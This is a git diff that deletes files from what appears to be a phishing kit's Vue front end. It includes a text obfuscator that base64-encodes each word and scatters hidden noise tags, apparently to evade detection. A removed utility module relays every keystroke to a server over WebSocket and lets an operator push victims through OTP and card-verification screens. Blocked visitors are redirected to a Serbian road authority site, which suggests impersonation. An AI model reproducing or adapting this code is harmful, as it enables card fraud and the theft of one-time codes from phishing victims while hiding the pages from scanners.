obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_etc_temp3/src/utils/common.ts.backup b/t_etc_temp3/src/utils/common.ts.backup deleted file mode 100644 index 8f55f26..0000000 --- a/t_etc_temp3/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.putevi-srbije.rs/"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_post_temp1/src/components/HelloWorld.vue b/t_post_temp1/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_post_temp1/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_post_temp1/src/components/TheWelcome.vue b/t_post_temp1/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_post_temp1/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp1/src/components/WelcomeItem.vue b/t_post_temp1/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_post_temp1/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_post_temp1/src/main.ts b/t_post_temp1/src/main.ts index fb9aaa3..bd65a08 100644 --- a/t_post_temp1/src/main.ts +++ b/t_post_temp1/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => { VueScrollTo.scrollTo("#app", 0); next(); }); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_post_temp1/src/mix/textObfuscator.ts b/t_post_temp1/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_post_temp1/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - 